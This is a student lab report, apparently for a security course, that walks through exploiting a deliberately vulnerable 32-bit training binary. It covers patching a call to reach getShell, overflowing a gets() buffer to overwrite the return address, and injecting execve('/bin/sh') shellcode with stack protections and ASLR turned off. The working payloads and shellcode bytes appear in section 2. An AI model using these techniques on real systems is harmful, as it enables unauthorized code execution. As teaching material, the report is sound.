1.實驗內容
1.1 學習內容總結
1.1.1 初步瞭解緩衝區溢位漏洞
首先學習了安全漏洞的相關概念,然後聚焦在其中的緩衝區溢位漏洞上。學習了緩衝區溢位漏洞相關的定義和發生的原因,並瞭解了緩衝區溢位發展歷史上的經典攻擊,如紅色程式碼蠕蟲、衝擊波病毒、震盪波病毒、心臟出血、烏克蘭斷網、WannaCry等。
1.1.2 緩衝區溢位基礎知識
- 編譯器和聯結器:gcc test.c –o test
- 偵錯程式:類Unix平臺上經常使用GDB
- 組合語言:暫存器(ebp、eip等),彙編指令(RET、CALL等)
- 堆:程式動態分配的資料和變數
- 棧:環境變數/引數和個數以及主函式和呼叫棧中函式的臨時儲存資訊
- 函式呼叫過程和反彙編
1.2 實驗任務
利用一個名為pwn1的linux可執行檔案,其執行流程為main呼叫foo函式,foo函式簡單回顯使用者輸入的字串。該程式同時包含另一個程式碼片段getShell,會返回一個可用Shell,正常情況下這個程式碼不會被執行。實驗目標為,學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式
- 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式
- 注入一個自己製作的shellcode並執行這段shellcode
2.實驗過程
2.1 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式
- 下載pwn1,複製到資料夾20222420為檔案pwn20222420。
- 發現pwn20222420不是可執行檔案,透過chmod命令將其改為可執行檔案。
- 驗證pwn20222420檔案執行情況,執行情況正常。
- 利用“objdump -d pwn20222420 | more”命令反彙編pwn20222420檔案,檢視main函式呼叫foo函式的指令。
分析:e8 d7 ff ff ff中,e8代表跳轉,ff ff ff d7(小端儲存)是-41的補碼。執行80484b5處的指令時,EIP的值是下條指令的地址(即80484ba),但執行完80484b5處的指令後,CPU會轉而執行 “EIP + ffffffd7”這個位置的指令,即執行foo函式(80484ba+ffffffd7=8048491)。
- 想要改變程式執行流程,直接跳轉到getShell函式,只需要修改d7 ff ff ff為“getShell函式地址-EIP”即可,即修改為c3 ff ff ff(0804847d-080484ba=ffff fffc3)。
- 下面利用vi命令檢視pwn20222420檔案,用:%!xxd將顯示模式切換為16進位制模式,用/e8 d7命令查詢對應位置,然後按i進入編輯,將其中對應的d7改為c3。最後按esc退出編輯,輸入:%!xxd -r轉換16進製為原格式,輸入:wq以儲存並退出檢視。
- 再次反彙編pwn20222420檔案,檢視相應位置是否被修改成功。可知已經修改成功。
- 最後執行修改後的pwn20222420檔案,會得到shell提示符$,並且可以正常執行命令。
2.2 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式
- 將pwn1複製到資料夾20222420為檔案pwntwo20222420,並將其設定為可執行檔案
- 反彙編,檢視foo函式中的Buffer overflow漏洞
分析1:804849d地址處的指令代表計算從(%ebp)(即基指標地址)向下偏移0x1c(即十進位制的28)的地址,並將這個地址載入到累加器%eax中,這個地址是預留給字串輸入的緩衝區。
分析2:804849d地址處的指令代表呼叫gets函式,從標準輸入讀取字串到之前計算的緩衝區地址。由於gets不檢查緩衝區大小,如果輸入字串超過28位元組(包括空終止符),將導致緩衝區溢位。
分析3:返回地址之下為%ebp(佔4B,因32位程式),%ebp之下為預留給字串輸入的緩衝區。可以推知只要輸入32位元組,再之後就會溢位到返回地址及以後的空間,但這只是一般情況,還需要驗證。
- 確認是否的確是輸入32位元組後再輸入就會溢位到返回地址及以後的空間。使用gdb除錯。
輸入gdb pwntwo20222420來使用gdb除錯該檔案,然後輸入r來執行檔案,再輸入555555555555555555555555555566664321來測試32B(一個數字佔1B儲存空間)後的4321是否出現在返回地址。
分析:從圖中可以看到%eip指令暫存器指向的下一條指令的地址為0x31323334,即小端儲存的4321。且%ebp確實被6666所填充。可知結果證明了上述“分析3”中的推知。
- 確認用什麼值來覆蓋返回地址。使用objdump -d pwntwo20222420 | more命令檢視getShell函式的地址。
分析:可知getShell函式的地址為0804847d,同時從上面的實驗可知儲存模式為小端儲存(低位位元組存在低位地址),故構造的值應為\x7d\x84\x04\x08。輸入pwntwo20222420檔案的字元應為32個任意字元和\x7d\x84\x04\x08,其後還可以加上\x0a,不然輸入字串後還需手動敲擊回車。
- 但\x7d\x84\x04\x08無法從鍵盤鍵入。這時有兩種方式,一種是使用Perl來生成一個字串並將其輸出到一個檔案(我命名為input)中,然後用cat命令讀這個檔案並將輸出透過管道(|)輸入到pwntwo20222420檔案;另一種是跳過input檔案這一中間環節,直接透過管道(|)輸入到pwntwo20222420檔案。以下為兩種方式的實驗結果,可知均成功。
2.3 注入一個自己製作的shellcode並執行這段shellcode
- 準備一段Shellcode,這段機器指令的目的是為獲取一個互動式的shell。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 - 修改安全設定。
- 設定堆疊可執行,並查詢設定情況。
- 關閉地址隨機化,並查詢設定情況。需要透過sudo su -命令轉換到root使用者才能設定。
- 設定堆疊可執行,並查詢設定情況。
- 構造要注入的payload。結構使用anything+retaddr+nops+shellcode,其中retaddr應為注入的shellcode的地址用於替換返回地址,nop為空指令(0x90)。
- 初始構造為AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+4321+\x90\x90\x90\x90+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
- 尋找注入的shellcode的地址
- 使用
perl -e 'print "A" x 32;print "\x34\x33\x32\x31\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode,並將其中內容透過管道輸入到pwntwo20222420檔案中執行。注意此時不能輸入回車。
- 開啟另一個終端,用ps -ef | grep pwntwo20222420命令檢視程序號,然後輸入gdb命令,再輸入attach 11112將gdb附加在前面檢視的程序號上。
- 在第二個終端中使用disassemble foo,反彙編foo來檢視ret指令的地址,以便在此設定斷點。
- 在第二個終端中ret指令的地址處設定斷點。斷在這裡,因為這時注入的東西都在堆疊上了。
- 在第一個終端中輸入回車。然後在第二個終端中輸入c,表示繼續。然後輸入info r esp,檢視esp的地址,以便在此附近尋找注入的shellcode的地址。
- 輸入x/16x 0xffffcdec,以十六進位制檢查該處記憶體。此時可以找到注入的shellcode並計算出其地址為0xffffcdf4。
- 使用
- 此時就知道了要注入的payload應構造為
"A" x 32 + "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" - 構造檔案的命令為
perl -e 'print "A" x 32;print "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode2
- 最後進行驗證。
3.問題及解決方案
- 問題1:執行pwn20222420檔案時報錯,顯示permission denied,我以為需要用sudo,但還是不行。
問題1解決方案:我想到可能檔案不可執行,用ls -l檢視確實如此,用chmod將其設定為可執行檔案便解決了問題。 - 問題2:第一個實踐內容,用/e8d7查詢不到要修改的內容。
問題2解決方案:反覆嘗試後我想到可能中間需要空格,因為檢視時位元組間有空格,雖然我認為實際儲存中是沒有空格的。嘗試了/e 8d7不行,然後/e8 d7便能找到了。 - 問題3:設定堆疊可執行時顯示錯誤,原因是沒有execstack命令。apt-get也搜尋不到該程式。
問題3解決方案:CSDN中查詢,可以在網上下載並安裝。為了方便沒有用瀏覽器,具體使用了wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令列。 - 問題4:關閉地址隨機化時許可權不夠,用sudo也不行。
問題4解決方案:詢問AI後明白必須root使用者才能關閉。但是我從一開始就並沒有設定過root使用者。不過我還是嘗試轉換到root,因為可能不需要密碼。我用su -顯示錯誤,於是改用了sudo su -,這次直接轉換為了root使用者,在這個使用者下我就成功關閉了地址隨機化。 - 問題5:不明白任務3中最後構造input_shellcode時用的字串最後的\x90\x00\xd3\xff\xff\x00有什麼用。
問題5解決方案:經過深入分析,發現沒什麼用。這是是博主之前使用nop+shellcode+retaddr結構未成功,更改結構後未刪除而遺留下來的,\x90是為了湊夠前面的32B,\x00\xd3\xff\xff是shellcode地址,但這都是使用nop+shellcode+retaddr結構時使用的內容了。直接刪除即可。
4.學習感悟、思考等
透過這次實驗,我不僅加深了對電腦保安漏洞的理解,還透過實踐掌握了多種攻擊與防護的技術手段。儘管整個實驗過程佈滿了重重困難與挑戰,但我深信,透過深入細緻地分析問題、逐一攻克那些直接影響實驗程序的難題,以及審慎探究那些雖不直接阻礙實驗卻仍存疑的點,而非僅僅依賴於刻板重複的實驗指南,我獲得了極為寶貴的成長與收穫。
在實驗過程中,我學習了編譯器、偵錯程式、組合語言以及堆和棧的基礎知識,這些知識對於理解緩衝區溢位漏洞的原理和攻擊方式至關重要。透過動手實踐,我親手操作了如何修改可執行檔案來改變程式執行流程,如何利用緩衝區溢位漏洞構造攻擊輸入字串,以及如何注入和執行自定義的Shellcode。我感覺透過這些實踐我對原本並不熟悉的堆、組合語言、偵錯程式gdb熟悉了很多,並能夠運用這些知識。
在實驗中,我也遇到了不少問題,比如檔案許可權問題、查詢和修改特定內容時的困難、缺少必要工具的問題等,在遇到未知的問題時我顯得比較著急和焦慮。但是,透過不斷嘗試和尋求幫助,我最終都成功地解決了這些問題。這些經歷讓我更加明白,在遇到問題時,不要輕易放棄,要多思考、多嘗試,要學會保持冷靜和耐心,同時也可以藉助外部資源來尋求幫助。
這次實驗中我認為我對這次實驗的理解已經很深入了,有疑惑的點我自己基本都解決了。比如為什麼是32個位元組後便溢位到返回地址(設定的緩衝區28B+ebp4B=32B),nop是什麼(空指令\x90,往後滑),一個字串儲存後顯示出來為什麼這麼奇怪(棧向低地址生長,小端儲存),ret有什麼用(返回主程式),為什麼用print而非printf(perl是指令碼語言),disassemble是什麼(反彙編),more /proc/sys/kernel/randomize_va_space是什麼、為什麼顯示0或2(顯示地址空間隨機化情況,0表禁用,1表啟用,2表完全啟用)等等。正是因為我對實驗內容有一定的理解,我在做時才能夠有一定自己的想法,和實驗指導的步驟有略微的差別。
參考資料
- 《【2024年最新版】Kali安裝詳細教程》